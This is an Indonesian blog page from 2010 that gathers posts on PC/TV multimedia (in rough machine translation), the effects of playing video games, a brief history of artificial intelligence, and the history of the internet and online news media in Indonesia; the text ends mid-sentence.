FB

Membuat Komputer Anda Menjadi Perangkat Multimedia

Tuesday, December 28, 2010

Multimedia adalah semboyan itu - multimedia untuk rumah, untuk bisnis dan hiburan di mana perkembangan teknologi gambar dan suara telah melihat peningkatan pesat integrasi fungsi. Untuk memiliki sistem yang benar-benar multimedia, apa yang Anda butuhkan adalah sebuah komputer pribadi untuk mengendarainya. Sebuah ideal mengatur adalah kombinasi layar besar komputer pribadi dan televisi atau apa yang dikenal sebagai PC / TV. perangkat tersebut menggabungkan audio dan video dan multimedia komputasi dalam suatu sistem lengkap yang mampu memanfaatkan semua sumber video yang mencakup siaran, VCR, disc, video game, dan laser.




Multimedia - The Pemandangan dan Suara Besok

Mutimedia Apapun kombinasi yang Anda gunakan, Anda menonton layar pada menjadi semua penting. Anda menghabiskan lebih banyak waktu menatap layar dan, secara umum, terminal komputer untuk tugas itu - meskipun beberapa produsen TV terbesar telah menghasilkan berbagai mereka sendiri layar terminal.

layar besar dan lebar yang berkualitas tinggi yang menyerang menampilkan toko. Teknologi yang terlibat menjadi lebih baik dan lebih efisien. Tentu saja, bersekutu dengan ini perkembangan serupa di komponen lain seperti amplifier, speaker CD player dan video. Hasil: kualitas tak tertandingi untuk suara dan visual.

Ketika bioskop berada di ambang yang dibanjiri oleh video dan TV, itu adalah nilai-nilai produksi dan teknologi reproduksi superlatif dipatenkan yang menyelamatkan mereka dengan menarik penonton kembali ke pengalaman film-pergi. "Sama label" sekarang mengancam untuk menyapih bioskop-goers kembali ke kenyamanan nyaman dari ruang keluarga mereka.

Home Hiburan

Bagaimana mungkin? Jawabannya terletak pada teknologi bersama, teknologi digital yang lebih khusus, yang telah membuka kemungkinan yang tak terbayangkan. Sekarang ini memungkinkan Anda untuk berbicara kamera ke komputer pribadi Anda, yang pada gilirannya dapat berbicara dengan televisi Anda, sistem audio dan video. Di depan rumah hiburan yang dapat membawa pemandangan berkualitas tinggi dan suara yang Anda harapkan di kanan bioskop ke ruang tamu Anda. Tentu saja, intinya adalah bahwa sekali Anda mengalami sistem baru tidak ada akan kembali - apa-apa lagi akan tampak bagus atau suara yang baik.

Hal ini terutama berlaku untuk fungsi penguat. Sekarang Anda dapat memiliki kualitas rekaman-studio. Dan saat Anda berada di hal itu mengapa tidak membuat video musik sendiri. Ketika Anda tampil di depan kamera digital, yang terhubung ke PC Anda dan layar 40-inci, Anda dapat mengedit lagu Anda dan gambar Anda.

Inovasi Masa Depan

Pencarian untuk sistem teknologi telah dapat diakses dengan kami untuk beberapa waktu. Banyak produsen teknologi utama mengembangkan sistem yang menggabungkan fungsi-fungsi ini. Diharapkan bahwa konsumen akan memiliki akses untuk ini inovasi menarik dalam waktu dekat.

Mendapatkan kembali ke konsep multimedia, jangan lupa bahwa untuk benar-benar mendapatkan sesuatu yang terjadi Anda memerlukan komputer pribadi untuk mengendarainya. Yang ideal adalah kombinasi layar lebar PC dan televisi. PC / TV adalah perangkat pertama yang menggabungkan audio / video dan komputer multimedia. Ide ini belum sepenuhnya dikembangkan, tetapi sebagai ide bioskop rumah dewasa, kebutuhan untuk hardware PC yang canggih menjadi menarik.

sumber : http://www.infosum.net

Main Game Mencerdaskan atau Merugikan?

Saturday, November 6, 2010

Jika ditanya “Siapa sih yang nggak kenal game elektronik? Siapa sih yang nggak suka main game elektronik?”. Mungkin mayoritas jawabannya adalah tidak dan suka bermain game elektronik. Memang saaat ini game sudah tidat bisa lepas dengan dunia kita sehari-hari, terutama yang masih pelajar. Dapat disimpulkan mayoritas pelajar di Indonesia hoby bermain game, dari jenjang SD hingga pergusuan tinggi. Dengan bermain game dapat menurunkan kadar stres dalam otak, atau dapat pula hanya untuk membuang waktu luang agar tidak terasa suntuk.
Dunia game memang sebuah dunia yang mengasikkan untuk dijelajahi. Apalagi sebuah game adventure/petualangan yang menyajikan berbagai jalan cerita yang membuat gamers/pemain bertanya-tanya akan ada apa di petualangan berikutnya.
Game olahraga, dance, dan berbagai game lainnya juga memberikan rasa penasaran yang tak kalah hebatnya dengan bayang-bayang fitur apa ayang akan muncul setelah menyelesaikan suatu tugas.

Titik fokus utama dari sebuah game elektronik adalah membuat sang pemain merasa penasaran dengan kelanjutan game tersebut. Pasti lah jika kita sudah penasaran akan selalu terngiang akan hal itu. Begitu pula dengan game, ketika kita penasaran dengan kelanjutan cerita game tersebut maka pastilah muncul perasaan untuk memainkan game itu lagi. Semakin menarik tampilan dan fitur suatu game maka semakin penasaranlah para pemain game untuk mengetahui jalan terakhir game tersebut. Tanpa sadar para pemain tersebut akan mengalami kecanduan game, ia hanya akan berfikir untuk terus bisa bermain game hingga melupakan sholat/ibadah, mandi, makan, dan bersosialisasi dengan lingkungan luar dalam dunia nyata.
Game bisa dikatakan seperti pisau bermata dua. Bila digunakan dengan baik dan sesuai dosis maka akan menjadi sebuah sarana hiburan yang menarik. Namun bila tidak bisa membatasi diri maka akan kecanduan, kemudian mulailah muncul berbagai efek negatif bermain game tersebut. Banyak orang tua yang bilang kalau game itu tidak bermanfaat, namun berbeda pula dengan remaja yang menganngap bahwa game itu sangat bermanfaat. Kedua op[ini tersebut tidak bisa disalahkan karena memang nyata bahwa game memiliki efek positif dan juga efek negatif.

Dampak Positif Bermain Game
Mungkin selama ini yang jarang bermain game hanya berfikiran bahwa game itu hanya bernilai negatif, merusak pola hidup sehat dan sosial masyarakat. Hal itu dapat dibantah karena dengan bermain game, pemain dapat bersosialisasi dengan teman bermain game yang lain, bisa dari dalam negeri maupun luar negeri. Dengan sarana Live Chating yang sudah marak disediakan di game online, antar pemain dapat saling berinteraksi. Dari chating tersebut bisa juga mendapat rekanan bisnis atau pacar lho, sudah banyak yang membuktikannya.
Gamer yang juga memiliki kemampuan lebih juga telah banyak yang direkrut menjadi pegawai dari sebuah perusahaan development game. Ada yang menjadi programmer, analisator, atau menjadi game tester (orang yang menguji kelayakan game sebelum diluncurkan kepasaran).

Dampak Baik (Positif) Main Game Bagi Kesehatan Fisik dan Mental

1. Menambah teman melalui dunia maya.
2. Mendapat pekerjaan di perusahaan game sambil meneruskan hobi bermain game.
3. Dapat meningkatkan kecerdasan otak dalam memilih keputusan, kecepatan mata untuk merefleksikan sesuatu, serta keterampilan dan reflek tangan (jika game yang dimainkan adalah game yang baik).
4. Bisa dimanfaatkan untuk pasien penyakit atau gangguan kesehatan tertentu.
5. Dapat menghilangkan stress, rasa bosan, serta menekan kebiasaan buruk seseorang.

Dampak Negatif Bermain Dame
Untuk yang satu ini, pasti langsung banyak hal yang terbayang di dalam otak pembaca. Memang untuk dampak negatif banyak sekali yang dapat dilihat dalam kehidupan sehari-hari kita (memang ni mata lebih sensitif liat yang nagatif daripada yang positif, hehe). Hal negatif yang paling mendasar dari bermain game adalah efek kecanduan bermain. Karena ketertarikan terhadap game tersebut, gamers terbawa suasa perasaan untuk terus bermain game, mengutamakan bermain game diatas segalanya. Jika sudah hingga tahap ini akan merembet ke berbagai dampak negatif lainnya.
Dari kecanduan game, banyak pelajar yang lebih memilih pergi ke rental komputer/game center pada jam sekolah (cabut sekolah) daripada mengikuti pelajaran sekolah. Terlebih lagi game center manyediakan paket hemat pada pagi hari untuk menyedot minat pelajar. Tentu saja ini berita baik untuk yang ketagihan game tapi berita buruk untuk orang tua (sadar lah kalian, ortu nyari uang buat pendidikan kalian tapi malah dibuang gitu ja buat kesenangan sesaat).
Kelanjutan dari kecanduan ini adalah seringnya berinteraksi dengan game dan orang-orang di game center yang tentunya dari berbagai kalangan akan mempengaruhi tingkah laku dan psikologi orang tersebut. Gaya bahasa dan perilaku gamer akan mengikuti apa yg ada di dalam game seperti swt, gg, sob, lol dan masih banyak lagi serta mudah mengatakan kata-kata kotor/cacian kepada orang lain. Perilaku yang introvert akibat berkurangnya sosialisasi dengan orang lain dalam dunia nyata. Yang paling parah adalah emosional yang labil sehingga cenderung bersikap anarkis meniru karakter dalam game yang dimainkannya.

Dampak Buruk (Negatif) Main Game Bagi Kesehatan Fisik dan Mental

1. Dapat menyebabkan cedera pada anggota tubuh manusia. Jika sering terjadi maka menyebabkan Repetitive Strain Injury (RSI) atau cedera fisik berulang-ulang. Contoh : Cedera jari sehingga bengkak dan sakit yang berulang terus-menerus.
2. RSI yang sering terjadi bisa menyebabkan kecacatan / cacat fisik pada seseorang. Contoh : seting pegal-pegal nyeri tulang belakang bisa membuat bentuk tulang belakang menjadi tidak proporsional.
3. Sinar biru layar tv atau monitor bisa menyebabkan kerusakan mata, yaitu mengikis lutein pada mata sehingga menyebabkan pandangan kabur degenerasi makula.
4. Main game yang terlalu dekat dengan layar monitor komputer atau layar telavisi bisa menyebabkan mata minus rabun jauh atau miopi. Tidak hanya dari game namun juga bisa menyerang pada saat nonton televisi.
5. Kilatan-kilatan cahaya dengan pola tertentu pada game bisa memicu epilepsi (ayan) pada penderita potensial.
6. Dapat menyebabkan penyakit maag jika sering lupa makan rutin saat asyik bermain game.
7. Dapat menyebabkan stress jika menglami kegagalan bermain game maupun stress karena kurang waktu untuk berhubungan sosial.

Jika ditanyakan “Siapa yang salah? Gamers, Game Developer, game Center, atau Orang Tua?”. Tiap-tiap pihak tersebut bisa saja menjadi pemicu dari kebobrokan generasi muda yang terjerat game bila mereka tidak memerankan tanggung jawabnya dengan baik. Game developer wajib menyertakan rating dari game tersebut agar bisa dimainkan sesuai dengan umur pemain. Game center juga perlu membuat peraturan-peraturan akan jam bermain maupun tatakrama ketika bermain. Orang tua pun wajib mengawasi, memantau dan menyeleksi apa saja yang anaknya kerjakan dalam keseharian terutama aktifitas main game. Untuk gamer, bijaklah dalam bertingkah laku, bermain game disaat yang lenggang dan sekedar refreshing saja, jangan sampai menjadi sebuah kebutuhan “hidup untuk main game karena game diciptakan untuk kehidupan manusia”. Bagaimana dengan pendapat para pembaca????

Kecerdasan Buatan dengan Komputer

Sedikit Mengenai Sejarah Kecerdasan Buatan

Kecerdasan buatan, Pertama kali ditemukan oleh seorang profesor dari Massachusetts Institute of Technology yang bernama John McCarthy pada tahun 1956 pada Dartmouth Conference yang dihadiri oleh para peneliti AI. Pada konferensi tersebut juga didefinisikan tujuan utama dari kecerdasan buatan, yaitu mengetahui dan memodelkan proses-proses berpikir manusia dan mendesain mesin agar dapat menirukan kelakuan manusia tersebut.



* Beberapa program AI yang mulai dibuat pada tahun 1956-1966 antara lain :

1. Logic Theorist, diperkenalkan pada Dartmouth Conference, program ini dapat membuktikan teorema-teorema matematika.
2. Sad Sam, diprogram oleh Robert K. Lindsay (1960). Program ini dapat mengetahui kalimat-kalimat sederhana yang ditulis dalam bahasa Inggris dan mampu memberikan jawaban dari fakta-fakta yang didengar dalam sebuah percakapan.
3. ELIZA, diprogram oleh Joseph Weinzenbaum (1967). Program ini mampu melakukan terapi terhadap pasien dengan memberikan beberapa pertanyaan.


Kecerdasan Buatan dengan Menggunakan Komputer Sebagai Sarana

Makin pesatnya perkembangan teknologi menyebabkan adanya perkembangan dan perluasan lingkup yang membutuhkan kehadiran kecerdasan buatan. Karakteristik cerdas sudah mulai dibutuhkan di berbagai disiplin ilmu dan teknologi. Kecerdasan buatan tidak hanya merambah di berbagai disiplin ilmu yang lain. Irisan antara psikologi dan kecerdasan buatan melahirkan sebuah area yang dikenal dengan nama cognition & psycolinguistics. Irisan antara teknik elektro dengan kecerdasan buatan melahirkan berbagai ilmu seperti pengolahan citra, teori kendali, pengenalan pola, dan robotika.

Persoalan-persoalan yang mula-mula ditangani kecerdasan buatan adalah pembuktian teorema dan permainan (game). Seorang periset kecerdasan buatan yang bernama Samuel menuliskan program permainan catur yang tidak hanya sekedar bermain catur, namun program tersebut juga dibuat agar dapat menggunakan pengalamannya untuk meningkatkan kemampuannya. Sementara itu, Newell, seorang ahli teori logika berusaha membuktikan teorema-teorema matematika.

Adanya irisan penggunaan kecerdasan buatan di berbagai disiplin ilmu tersebut menyebabkan cukup rumitnya untuk mengklasifikasikan kecerdasan buatan menurut disiplin ilmu yang menggunakannya. Untuk memudahkan hal tersebut, maka pengklasifikasian lingkup kecerdasan buatan didasarkan pada output yang diberikan yaitu pada aplikasi komersial (meskipun sebenarnya kecerdasan buatan itu sendiri bukan merupakan medan komersial).

Lingkup utama dalam kecerdasan buatan adalah :

1. Sistem Pakar (Expert System).
Di sini komputer digunakan sebagai sarana untuk menyimpan pengetahuan para pakar. Dengan demikian komputer akan memiliki keahlianuntuk menyelesaikan permasalahan dengan meniru keahlian yang dimiliki oleh pakar.
2. Pengolahan Bahasa Alami (Natural Language Processing).
Dengan pengolahan bahasa alami ini diharapkan user dapat berkomunikasi dengan komputer dengan menggunakan bahasa sehari-hari.
3. Pengenalan Ucapan (Speech Recognition).
Melalui pengenalan ucapan diharapkan manusia dapat berkomunikasi dengan komputer menggunakan suara.
4. Robotika & Sistem Sensor (Robotics & Sensory Systems).
5. Computer Vision.
dapat menginterpretasikan gambar atau obyek-obyek tampak melalui komputer.
6. Intelligent Computer-Aided Instruction.
Komputer dapat digunakan sebagai tutor yang dapat melatih dan mengajar.
7. Game Playing.
Bermain Game dapat Maksimalkan Kerja Otak Logika & Mnemonic

Seiring dengan perkembangan teknologi, muncul beberapa teknologi yang juga bertujuan untuk membuat agar komputer menjadi cerdas, sehingga dapat menirukan kerja manusia sehari-hari.

Teknologi ini juga mampu mengakomodasi adanya ketidakpastian dan ketidaktepatan data input. Dengan didasari pada teori himpunan, maka pada tahun 1965 muncul Logika Fuzzy. Kemudian pada tahun 1975 John Holland mengatakan bahwa setiap problem berbentuk adaptasi (alami maupun buatan) secara umum dapat diformulasikan dalam terminologi genetika. Algoritma Genetika ini merupakan simulasi proses evolusi Darwin dan operasi genetika atas kromosom.

Sejarah Internet di Indonesia

Sunday, October 10, 2010

Sejarah internet Indonesia dimulai pada awal tahun 1990-an. Saat itu jaringan internet di Indonesia lebih dikenal sebagai paguyuban network, dimana semangat kerjasama, kekeluargaan & gotong royong sangat hangat dan terasa diantara para pelakunya. Agak berbeda dengan suasana Internet Indonesia pada perkembangannya kemudian yang terasa lebih komersial dan individual di sebagian aktivitasnya, terutama yang melibatkan perdagangan Internet. Sejak 1988, ada pengguna awal Internet di Indonesia yang memanfaatkan CIX (Inggris) dan Compuserve (AS) untuk mengakses internet.



Awal dari Internet di Indonesia

Berdasarkan catatan whois ARIN dan APNIC, protokol Internet (IP) pertama dari Indonesia, UI-NETLAB (192.41.206/24) didaftarkan oleh Universitas Indonesia pada 24 Juni 1988. RMS Ibrahim, Suryono Adisoemarta, Muhammad Ihsan, Robby Soebiakto, Putu, Firman Siregar, Adi Indrayanto, dan Onno W. Purbo merupakan beberapa nama-nama legendaris di awal pembangunan Internet Indonesia di tahun 1992 hingga 1994. Masing-masing personal telah mengontribusikan keahlian dan dedikasinya dalam membangun cuplikan-cuplikan sejarah jaringan komputer di Indonesia.

Tulisan-tulisan tentang keberadaan jaringan Internet di Indonesia dapat dilihat di beberapa artikel di media cetak seperti KOMPAS berjudul "Jaringan komputer biaya murah menggunakan radio"[1] di bulan November 1990. Juga beberapa artikel pendek di Majalah Elektron Himpunan Mahasiswa Elektro ITB di tahun 1989.



Internet Service Provider Indonesia

Di sekitar tahun 1994 mulai beroperasi IndoNet yang dipimpin oleh Sanjaya. IndoNet merupakan ISP komersial pertama Indonesia. Pada waktu itu pihak POSTEL belum mengetahui tentang celah-celah bisnis Internet & masih sedikit sekali pengguna Internet di Indonesia. Sambungan awal ke Internet dilakukan menggunakan dial-up oleh IndoNet, sebuah langkah yang cukup nekat barangkali. Lokasi IndoNet masih di daerah Rawamangun di kompleks dosen UI, kebetulan ayah Sanjaya adalah dosen UI. Akses awal di IndoNet mula-mula memakai mode teks dengan shell account, browser lynx dan email client pine pada server AIX.

Mulai 1995 beberapa BBS di Indonesia seperti Clarissa menyediakan jasa akses Telnet ke luar negeri. Dengan memakai remote browser Lynx di AS, maka pemakai Internet di Indonesia bisa akses Internet (HTTP).

Perkembangan terakhir yang perlu diperhitungkan adalah trend ke arah e-commerce dan warung internet yang satu & lainnya saling menunjang membuahkan masyarakat Indonesia yang lebih solid di dunia informasi. Rekan-rekan e-commerce membangun komunitasnya di beberapa mailing list utama seperti warta-e-commerce@egroups.com, mastel-e-commerce@egroups.com, e-commerce@itb.ac.id & i2bc@egroups.com.



Pengguna Awal Internet Lewat CIX dan Compuserve

Sejak 1988, CIX (Inggris) menawarkan jasa E-mail dan Newsgroup. Belakangan menawarkan jasa akses HTTP dan FTP. Beberapa pengguna Internet memakai modem 1200 bps dan saluran telpon Internasional yang sangat mahal untuk mengakses Internet. Sejak 1989 Compuserve (AS) juga menawarkan jasa E-mail dan belakangan Newsgroup, HTTP/FTP. Beberapa pengguna Compuserve memakai modem yang dihubungkan dengan Gateway Infonet yang terletak di Jakarta. Biaya akses Compuserve masih mahal, tetapi jauh lebih murah dari CIX.

Internet Sebagai New Media

Awalnya banyak yang meragukan kemampuan internet menyingkirkan media cetak, apalagi radio dan televisi karena sifat internet yang tidak praktis dan mahal. Kenyataannya, asumsi bahwa internet tidak praktis hanya bertahan beberapa tahun. Internet dahulu dinilai tidak praktis karena dalam mengoperasikan dibutuhkan komputer, ruang khusus untuk komputer, serta jaringan telekomunikasi yang handal. Kini perkembangan perangkat keras teknologi komputer sudah menciptakan komputer jinjing-portable (laptop) yang bisa dibawa ke mana-mana sebagaimana orang menenteng koran.

Teknologi Wi-Fi juga memungkinkan akses internet secara mudah di berbagai tempat yang menyediakan titik-titik hotspot untuk menikmati fasilitas tersebut. Munculnya teknologi broadband bahkan memudahkan orang mengakses internet di mana saja dengan teknologi mobile. Bila teknologi AMPS (generasi pertama/1G) yang muncul pada awal 1990-an sekadar melampaui keterbatasan fungsi telepon yang statis menjadi dinamis, serta hanya menampilkan suara, maka pada teknologi GSM (generasi kedua/2G) yang bergerak pada pertengahan dekade 1990-an, teknologi seluler tidak hanya mampu menjadi wahana tukar informasi dalam bentuk suara tetapi juga data, berupa teks dan gambar (SMS dan MMS). Karena murah, akses teknologi mobile generasi kedua ini berkembang pesat di Indonesia, sehingga memasuki 2000-an, handphone menjadi perangkat hidup (gadget) sehari-hari.

Sejak tahun 2006, masyarakat di Indonesia sudah bisa menikmati layanan audio-visual yang lebih canggih dengan teknologi generasi ketiga (3G). Ada juga pilihan koneksi internet ke aplikasi seluler dengan sistem UMTS, WiFi, dan WiMax. Berkaitan dengan kecepatan akses, beberapa jaringan operator seluler sudah memiliki jaringan paling cepat yang dikenal dengan high-speed downlik packet access (HSDPA) atau yang sering disebut dengan 3,5G, yaitu generasi yang merupakan penyempurnaan dari 3G. Terakhir, vendor maupun operator seluler sudah mulai menggunakan teknologi next generation network (NGN) atau 4G (Subarkah, Kompas, 29 Juni 2007).

Pada babakan inilah apa yang disebut konvergensi media akan mencapai titik maksimal. Lewat segenggam handset, orang di berbagai penjuru dunia bisa mengakses informasi secara cepat dan lengkap sesuai kebutuhan. Komunitas pers menjadi pihak pertama yang memanfaatkan teknologi ini dengan menampilkan informasi dalam bentuk teks, gambar, audio, dan visual. Konsekuensinya, model-model jurnalisme via internet dan teknologi seluler yang mengusung kecanggihan teknologi ini juga membawa pengaruh bagi praktik kerja jurnalisme mainstream (cetak, radio, dan televisi).

Perspektif ini didukung oleh tujuan bahwa esensi dari proses komunikasi tetap tidak berubah. Apa yang membuat bentuk-bentuk komunikasi berbeda satu sama lain bukanlah penerapan aktualnya, namun perubahan-perubahan dalam proses-proses komunikasi seperti kecepatan komunikasi, harga komunikasi, persepsi-persepsi pihak-pihak yang berkomunikasi, kapasitas penyimpanan, fasilitas tempat mengakses informasi, densitas (kepekatan/kepadatan), kekayaan arus-arus informasi, jumlah fungsionalitas/intelijen yang dapat ditransfer. Titik esensialnya adalah bahwa keunikan internet terletak pada efisiensinya sebagai sebuah medium. Namun esensi komunikasi secara keseluruhan dan jurnalisme khususnya tetap tidak berubah (Santana, 2005: 136).

Menurut Santana (2005: 136), terdapat tiga kelompok situs berita dalam kaitannya dengan isi. Pertama, model situs berita yang banyak digunakan oleh media berita konvensional, yakni sekadar merupakan edisi online dari medium induknya. Isi orisinilnya diciptakan kembali oleh internet dengan cara mengintensifkan isi dengan kapabilitas-kapabilitas teknis dari cyberspace. Sejumlah fitur interaktif dan fungsi-fungsi multimedia ditambahkan. Isinya di-update lebih sering daripada medium induknya. Washington Post Online (www.washingtonpost.com), CNN Interactive (www.CNN.com), dan BBC News Online (www.BBC.co.uk) adalah contoh-contoh tipikal tipe ini. Kedua, bentukan situs Web-nya berisikan orisinalitas indeks, dengan cara mendesain ulang dan merubah isi dari berbagai media berita. Saloon.com atau Slate and Drudge Report.com masuk ke dalam tipe ini. Situs ini memendekkan portal-portal pemberitaan melalui indeksisasi dan kategorisasi, hasil seleksi berbagai media berita dan isi mereka. Berbagai model situs ini terfokus pada isu-isu spesifik, melayani kepentingan komunitas dan kelompok-kelompok tertentu, serta membuat saluran pertukaran pikiran dan diskusi interaktif dengan pembacanya. Ketiga, situs berita yang berisi diskusi dan komentar-komentar pendek tentang berita dan media. Media-media watchdogs masuk ke dalam kelompok ini. Mereka menjadi saluran untuk diskusi masyarakat mengenai permasalahan yang mencuat.

Perkembangan teknologi jaringan komputer yang fantastis pada akhir dekade 1980-an mendorong lahirnya teknologi internet. Secara sederhana, internet dapat dipahami sebagai sebuah cara atau metode untuk mentransmisikan bit-bit data atau informasi dari satu komputer ke komputer yang lain, dari satu lokasi ke lokasi yang lain di seluruh dunia. Kelebihan teknologi internet adalah kemampuannya menjangkau seluruh penjuru dunia dalam waktu yang serentak. Internet juga memberikan ruang yang nyaris tak terbatas bagi setiap orang untuk menyimpan, mengirimkan, atau membuka akses informasi tersebut kepada siapa saja, kapan saja, dan di mana saja.

Apalagi, dengan dikenalkannya teknologi World Wide Web (WWW) pada awal tahun 1990-an oleh Tim Berners-Lee, internet dapat menampilkan “halaman-halaman” yang tidak hanya berisi teks, tetapi juga gambar, grafik, animasi, dan suara yang menarik serta penuh warna sehingga mampu menampilkan layanan multimedia yang bersifat audio-visual (data, citra, dan suara). Internet tidak saja dapat menyajikan data yang bersifat teks dan gambar, tetapi juga sinergi audio dan visual. Sifatnya yang dinamis dan interaktif membuatnya lebih menarik dibanding sumber media informasi lain.

Secara resmi, proyek internet pertama kali dikembangkan pada tahun 1969 oleh salah satu lembaga riset di Amerika Serikat, yaitu DARPA (Defence Advanced Research Projects Agency). Dilatarbelakangi perang dingin antara AS dan Uni Soviet, teknologi ini diciptakan dengan tujuan mengantisipasi kehilangan data penting yang dimungkinkan terjadi seandainya Uni Soviet berhasil menduduki basis militer AS. Tahun 1972, jaringan komputer yang pertama dihasilkan dari proyek DARPA tersebut lahir dan diberi nama ARPANet. Jaringan tersebut menghubungkan 40 titik melalui berbagai macam jaringan komunikasi dan tahan terhadap berbagai gangguan alam. Aplikasi yang dikembangkan pada saat itu masih sebatas FTP (File Transfer Protocol), email, dan telnet (Wahyono, 2006: 133).

Pada perkembangannya, titik yang dihubungkan pada jaringan ARPANet terus bertambah sehingga protokol NCP (Network Communication Protocol, yang saat itu digunakan tidak mampu lagi menampungnya. Setelah melalui penelitian lanjutan, akhirnya DARPA menemukan TCP (Transfer Communication Protocol) dan IP (Internet Protocol) untuk menggantikan NCP sebagai protokol standar resmi. Tahun 1984, jumlah host pada jaringan internet mencapai lebih dari 1.000 titik. Host-pun berkembang menjadi DNS (Domain Name Sytem) sebagai standardisasi nama domain dan menggantikan fungsi tabel host. Jumlah di atas pun terus berkembang sehingga pada tahun 1987 telah melewati 10.000 titik jaringan (Wahyono, 2006: 133).

Sebagai medium baru, internet dan produk turunannya memiliki karakteristik khas dibanding dengan media konvensional yang telah ada. Internet merupakan salah satu aplikasi teknologi yang mendasarkan diri pada sistem kerja (platform) komputer. Oleh karena itu, tipologi (sistem) komputer akan menjadi landasan utuk mengidentifikasi batasan serta karakteristik internet dan produk derivatnya. Salah satu derivat produk teknologi Internet adalah situs berita. Disebut derivat karena pada prinsipnya, situs berita adalah penamaan untuk menyebut salah satu jenis media online yang telah ada. Hal ini seperti yang dinyatakan oleh Ashadi Siregar (dalam Kurniawan, 2005: 20). Menurutnya:

“Media online adalah sebutan umum untuk sebuah bentuk media yang berbasis telekomunikasi dan multimedia (baca-komputer dan internet). Didalamnya terdapat portal, website (situs web), radio-online, TV-online, pers online, mail-online, dll, dengan karakteristik masing-masing sesuai dengan fasilitas yang memungkinkan user memanfaatkannya”.

Oleh karena itu, situs berita merupakan salah satu sub-sistem dari media online. Penyebutan media online dikalangan beberapa ahli media cukup beragam. Salah satu peneliti dan ahli media dari Universitas Texas, Amerika, bernama Lorie Ackerman, menyebut media online sebagai bentuk “penerbitan elektronik”. Menurutnya terminologi penerbitan elektronik adalah

“The term electronic publishing is used to convey a variety of ideas . Most broadly, it prefer to the use of computers in the composing, editing, typesetting, printing, or publication-delivered process”(Ackerman,http://www.students.cec.wustl.edu/~cs142/articles/MISc/Publishing/electronic_newspaper-crannor)

Penggunaan instrumen komputer sebagai sarana produksi dan reproduksi informasi dalam penerbitan elektronik membawa implikasi terhadap sifat dan bentuk informasi yang dibawakannya. Dalam medium komputer ini informasi dikemas dalam format dokumen elektronik, bentuk ini menjadikan informasi tersebut memiliki sifat salah satunya mudah untuk di “customise”, atau diatur-atur sesuai kebutuhan dan pemanfaatannya. Selain itu juga semakin memudahkan transfer informasi antar pengguna dan pengakses penerbitan elektronik

Salah satu pendekatan dalam memahami media online juga dipaparkan oleh Ashadi Siregar (dalam Kurniawan, 2005: 20). Ia melihat media online, melalui kacamata pendefinisian suratkabar digital, yakni ebuah entitas yang merupakan integrasi media massa konvensional dengan internet. Identifikasinya terhadap ciri-ciri yang melekat pada surat kabar digital ditulisnya sebagai berikut :

1. adanya kecepatan (aktualitas) informasi
2. bersifat interaktif, melayani keperluan khalayak secara lebih personal
3. memberi peluang bagi setiap pengguna hanya mengambil informasi yang relevan
bagi dirinya/dibutuhkan
4. kapasitas muatan dapat di perbesar
5. informasi yang pernah disediakan tetap tersimpan (tidak terbuang),dapat ditambah
kapan saja, dan pengguna dapat mencarinya dengan menggunakan mesin pencari
6. tidak ada waktu yang diistimewakan (prime time) karena penyediaan informasi
berlangsung tanpa putus, hanya tergantung kapan pengguna mau mengakses.

Salah satu desain media online yang paling umum diaplikasikan dalam praktik jurnalistik modern dewasa ini adalah berupa situs berita. Situs berita atau portal informasi sesuai dengan namanya merupakan pintu gerbang informasi yang memungkinkan pengakses informasi memperoleh aneka fitur fasilitas teknologi online dan berita didalamnya. Content-nya merupakan perpaduan layanan interaktif yang terkait informasi secara langsung, misalnya tanggapan langsung, pencarian artikel, forum diskusi, dll; dan atau yang tidak berhubungan sama sekali dengannya, misalnya games, chat, kuis, dll (Iswara, 2001).

Lebih lanjut tentang media online berupa portal informasi ini, Iswara (2001) menjelaskan karakteristik umum yang dimiliki media jenis ini, yaitu:


1. Kecepatan (aktualitas) informasi
Kejadian atau peristiwa yang terjadi di lapangan dapat langsung di upload ke dalam situs web media online ini, tanpa harus menunggu hitungan menit, jam atau hari, seperti yang terjadi pada media elektronik atau media cetak. Dengan demikian mempercepat distribusi informasi ke pasar (pengakses), dengan jangkauan global lewat jaringan internet, dan dalam waktu bersamaan .dan umumnya informasi yang ada tertuang dalam bentuk data dan fakta bukan cerita.

2. Adanya pembaruan (updating) informasi
Informasi disampaikan secara terus menerus, karena adanya pembaruan (updating) informasi. Penyajian yang bersifat realtime ini menyebabkan tidak adanya waktu yang diiistemewakan (prime time) karena penyediaan informasi berlangsung tanpa putus, hanya tergantung kapan pengguna mau mengaksesnya.

3. Interaktivitas
Salah satu keunggulan media online ini yang paling membedakan dirinya dengan media lain adalah fungsi interaktif. Model komunikasi yang digunakan media konvensional biasanya bersifat searah (linear) dan bertolak dari kecenderungan sepihak dari atas (top-down). Sedangkan media online bersifat dua arah dan egaliter. Berbagai features yang ada seperti chatroom, e-mail, online polling/survey, games, merupakan contoh interactive options yang terdapat di media online. Pembaca pun dapat menyampaikan keluhan, saran, atau tanggapan ke bagian redaksi dan bisa langsung dibalas.

4. Personalisasi
Pembaca atau pengguna semakin otonom dalam menentukan informasi mana yang ia butuhkan. Media online memberikan peluang kepada setiap pembaca hanya mengambil informasi yang relevan bagi dirinya, dan menghapus informasi yang tidak ia butuhkan. Jadi selektivitas informasi dan sensor berada di tangan pengguna (self control).

5. Kapasitas muatan dapat diperbesar
Informasi yang termuat bisa dikatakan tanpa batas karena didukung media penyimpanan data yang ada di server komputer dan sistem global. Informasi yang pernah disediakan akan tetap tersimpan, dan dapat ditambah kapan saja, dan pembaca dapat mencarinya dengan mesin pencari (search engine).

6. Terhubung dengan sumber lain (hyperlink)
Setiap data dan informasi yang disajikan dapat dihubungkan dengan sumber lain yang juga berkaitan dengan informasi tersebut, atau disambungkan ke bank data yang dimiliki media tersebut atau dari sumber-sumber luar. Karakter hyperlink ini juga membuat para pengakses bisa berhubungan dengan pengakses lainnya ketika masuk ke sebuah situs media online dan menggunakan fasilitas yang sama dalam media tersebut, misalnya dalam chatroom, lewat e-mail atau games.

Sebagaimana portal informasi, situs berita memiliki kesesuaian dengan karakter-karakter yang telah dipaparkan diatas (bahkan kalau boleh dikatakan identik). Sebab pada prinsipnya secara teknis tidak ada yang membedakan kedua jenis media online tersebut, keduanya memanfaatkan aplikasi teknologi internet yang sama (dibangun dengan konsep bahasa HTML dan Java[2]), dan menggunakan web browser sebagai sarana outputnya.

Lebih jauh tentang pengertian “situs web” atau “website” itu sendiri—yang menjadi salah satu varian teknologi internet—merupakan aplikasi yang mendominasi pengunaan internet. Apapun jenis media online, baik itu suratkabar online atau TV-online sekalipun, pada prinsipnya adalah menggunakan teknologi berbasis web. Pengertian situs web memiliki penjelasan beragam dengan berbagai karakteristik dari situs web itu sendiri, antara lain:

